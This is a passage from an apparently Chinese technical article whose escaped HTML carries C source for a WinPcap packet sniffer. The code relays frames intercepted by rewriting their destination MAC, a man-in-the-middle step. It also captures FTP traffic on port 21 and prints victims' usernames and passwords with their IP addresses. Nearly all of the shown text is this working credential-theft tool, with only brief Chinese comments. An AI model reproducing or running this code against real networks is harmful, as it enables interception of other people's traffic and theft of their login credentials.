style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strlen(result.username)&lt;1)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(result.srcip,inet_ntoa(*(struct&nbsp;in_addr&nbsp;*)IPHeader-&gt;ip_src));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(result.desip,inet_ntoa(*(struct&nbsp;in_addr&nbsp;*)IPHeader-&gt;ip_dst));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(result.username,p+5);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(strlen(data)&gt;4&nbsp;&amp;&amp;&nbsp;(p=strstr(data,&#8221;PASS&#8221;)))&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strlen(result.username)&gt;0)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(result.password,p+5);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;FTP:\\n\u6765\u6e90\u5730\u5740:%s\\n\u76ee\u6807\u5730\u5740:%s\\nUSER:%s\\nPASS:%s\\n&#8221;,result.srcip,result.desip,\\&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result.username,result.password);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(&amp;result,NULL,sizeof(Sniffer_Result));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;DWORD&nbsp;WINAPI&nbsp;filter(PVOID&nbsp;Parameter)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;BOOL&nbsp;SendPacket(pcap_t&nbsp;*hpcap,char&nbsp;*Packet,int&nbsp;packetsize);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;PacketInfo&nbsp;PI=*(PacketInfo&nbsp;*)Parameter;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;*Packet=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if((Packet=(char&nbsp;*)malloc(PI.pkthdr.caplen*sizeof(char)))==NULL)&nbsp;return&nbsp;-1;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(Packet,*PI.Packet,PI.pkthdr.caplen);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;*PI.Packet=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;DLCHEADER&nbsp;*DLCHeader=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;IP&nbsp;*IPHeader=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;TCP&nbsp;*TCPHeader=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;DLCHeader=(DLCHEADER&nbsp;*)Packet;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;IPHeader=(IP&nbsp;*)(Packet+sizeof(DLCHEADER));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;TCPHeader=(TCP&nbsp;*)(Packet+sizeof(DLCHEADER)+sizeof(IP));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(!strncmp(DLCHeader-&gt;SrcMAC,PI.srcMAC,6)&nbsp;&amp;&amp;&nbsp;!strncmp(DLCHeader-&gt;DesMAC,PI.myMAC,6))&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(DLCHeader-&gt;DesMAC,PI.desMAC,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendPacket(PI.hpcap,Packet,PI.pkthdr.caplen);&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u8f6c\u53d1\u6570\u636e\u5305&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u68c0\u6d4b\u5e27\u4e2d\u6570\u636e\u534f\u8bae\u7c7b\u578b&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(ntohs(DLCHeader-&gt;EtherType)==0x0800&nbsp;&amp;&amp;&nbsp;IPHeader-&gt;ip_p==0x06)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(ntohs(TCPHeader-&gt;dport)==21)&nbsp;FTP_Sniffer(IPHeader,PI.pkthdr.caplen-sizeof(DLCHEADER));&nbsp;&nbsp;&nbsp;\/\/\u6355\u83b7\u5230FTP\u6570\u636e\u5305&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;free(Packet);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;DWORD&nbsp;WINAPI&nbsp;Ether_Sniffer(PVOID&nbsp;Parameter)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;PacketInfo&nbsp;PI=*(PacketInfo&nbsp;*)Parameter;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;pcap_t&nbsp;*hpcap=PI.hpcap;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;pcap_pkthdr&nbsp;*pkthdr=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;*recvBuff;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;HANDLE&nbsp;hFilterThread;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;while(TRUE)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span 